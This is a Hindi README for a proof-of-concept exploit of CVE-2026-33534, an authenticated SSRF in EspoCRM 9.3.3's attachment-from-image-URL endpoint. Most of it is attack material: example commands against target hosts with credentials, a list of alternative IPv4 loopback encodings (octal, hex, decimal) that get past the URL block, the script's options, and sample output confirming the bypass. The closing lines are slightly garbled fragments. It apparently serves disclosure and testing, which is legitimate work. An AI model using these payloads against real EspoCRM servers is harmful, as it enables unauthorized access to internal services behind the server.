
EspoCRM 9.3.3 - वैकल्पिक IPv4 नोटेशन के माध्यम से प्रमाणित SSRF
EspoCRM 9.3.3 के /api/v1/Attachment/fromImageUrl एंडपॉइंट में वैकल्पिक IPv4 लूपबैक नोटेशन के माध्यम से प्रमाणित SSRF प्रूफ-ऑफ-कॉन्सेप्ट।
EspoCRM 9.3.3 http://127.0.0.1/... जैसे सीधे लूपबैक URL को ब्लॉक करता है, लेकिन सर्वर-साइड फ़ेच पथ वैकल्पिक IPv4 प्रस्तुतियों को स्वीकार करता है जिन्हें cURL लूपबैक में सामान्यीकृत करता है। यह एक प्रमाणित उपयोगकर्ता को प्रभावित अटैचमेंट/इमेज अपलोड फ़्लो तक पहुंच के साथ EspoCRM सर्वर को आंतरिक संसाधन फ़ेच करने की अनुमति देता है।
एक्सप्लॉइट पहले सीधा 127.0.0.1 नियंत्रण अनुरोध सबमिट करता है और उम्मीद करता है कि इसे HTTP 403 के साथ ब्लॉक किया जाएगा। फिर यह कई एन्कोडेड लूपबैक पेलोड का परीक्षण करता है और रिपोर्ट करता है कि कौन से संग्रहीत अटैचमेंट उत्पन्न करते हैं।
requestsनिर्भरता स्थापित करें:
python3 -m pip install requests
पोर्ट 8083 पर चल रहे EspoCRM इंस्टेंस के विरुद्ध बुनियादी स्थानीय सत्यापन:
python3 CVE-2026-33534.py \
-u http://127.0.0.1:8083 \
-U admin \
-P 'Admin12345!' \
--internal-port 8083 \
--cleanup
कस्टम पोर्ट और पथ पर आंतरिक सेवा का परीक्षण करें:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--internal-port 9002 \
--internal-path /interno.png \
--cleanup
केवल कस्टम पेलोड का उपयोग करें:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--no-default-payloads \
--payload 0x7f000001 \
--payload 2130706433
एक्सप्लॉइट डिफ़ॉल्ट रूप से इन लूपबैक होस्ट प्रस्तुतियों का परीक्षण करता है:
0177.0.0.1
0177.0000.0000.0001
0177.1
0x7f.0.0.1
0x7f.0x0.0x0.0x1
0x7f000001
2130706433
017700000001
127.1
127.0.1
127.000.000.001
0000000000000000000000000177.0.0.1
कस्टम पेलोड फ़ाइलें समर्थित हैं। प्रत्येक पंक्ति या तो हो सकती है:
host
label=host
उदाहरण:
hex-dword=0x7f000001
decimal-dword=2130706433
इसके साथ चलाएँ:
python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt
-u, --url आधार EspoCRM URL
-U, --username EspoCRM उपयोगकर्ता नाम
-P, --password EspoCRM पासवर्ड
--internal-port फ़ेच करने के लिए आंतरिक लूपबैक पोर्ट
--internal-path फ़ेच करने के लिए आंतरिक पथ
--payload अतिरिक्त लूपबैक होस्ट नोटेशन
--payload-file प्रति पंक्ति एक होस्ट पेलोड वाली फ़ाइल
--no-default-payloads केवल कस्टम पेलोड का उपयोग करें
--field अटैचमेंट फ़ील्ड, डिफ़ॉल्ट: avatar
--parent-type पैरेंट इकाई प्रकार, डिफ़ॉल्ट: User
--parent-id वैकल्पिक पैरेंट इकाई आईडी
--cleanup सफल पेलोड द्वारा बनाए गए अटैचमेंट हटाएं
--stop-on-first पहले सफल बाईपास के बाद रुकें
--insecure TLS प्रमाणपत्र सत्यापन अक्षम करें
सफल शोषण सीधे लूपबैक नियंत्रण को ब्लॉक किया गया और एक या अधिक एन्कोडेड पेलोड स्वीकृत दिखाता है:
[*] Control response: HTTP 403 Not allowed URL.
[+] octal dotted 0177.0.0.1 HTTP 200 id=... type=image/svg+xml size=4438
[+] hex dword 0x7f000001 HTTP 200 id=... type=image/svg+xml size=4438
[+] Vulnerable behavior confirmed.
[+] Direct loopback control: HTTP 403
[+] Successful payloads: 12
/client/img/logo-light.svg फ़ेच करता है। किसी अन्य आंतरिक सेवा के लिए --internal-port और --internal-path समायोजित करें।User.avatar है; यदि परीक्षण किए गए खाते को अलग अपलोड संदर्भ की आवश्यकता हो तो --field, --parent-type, और --parent-id का उपयोग करें।--cleanup का उपयोग करें।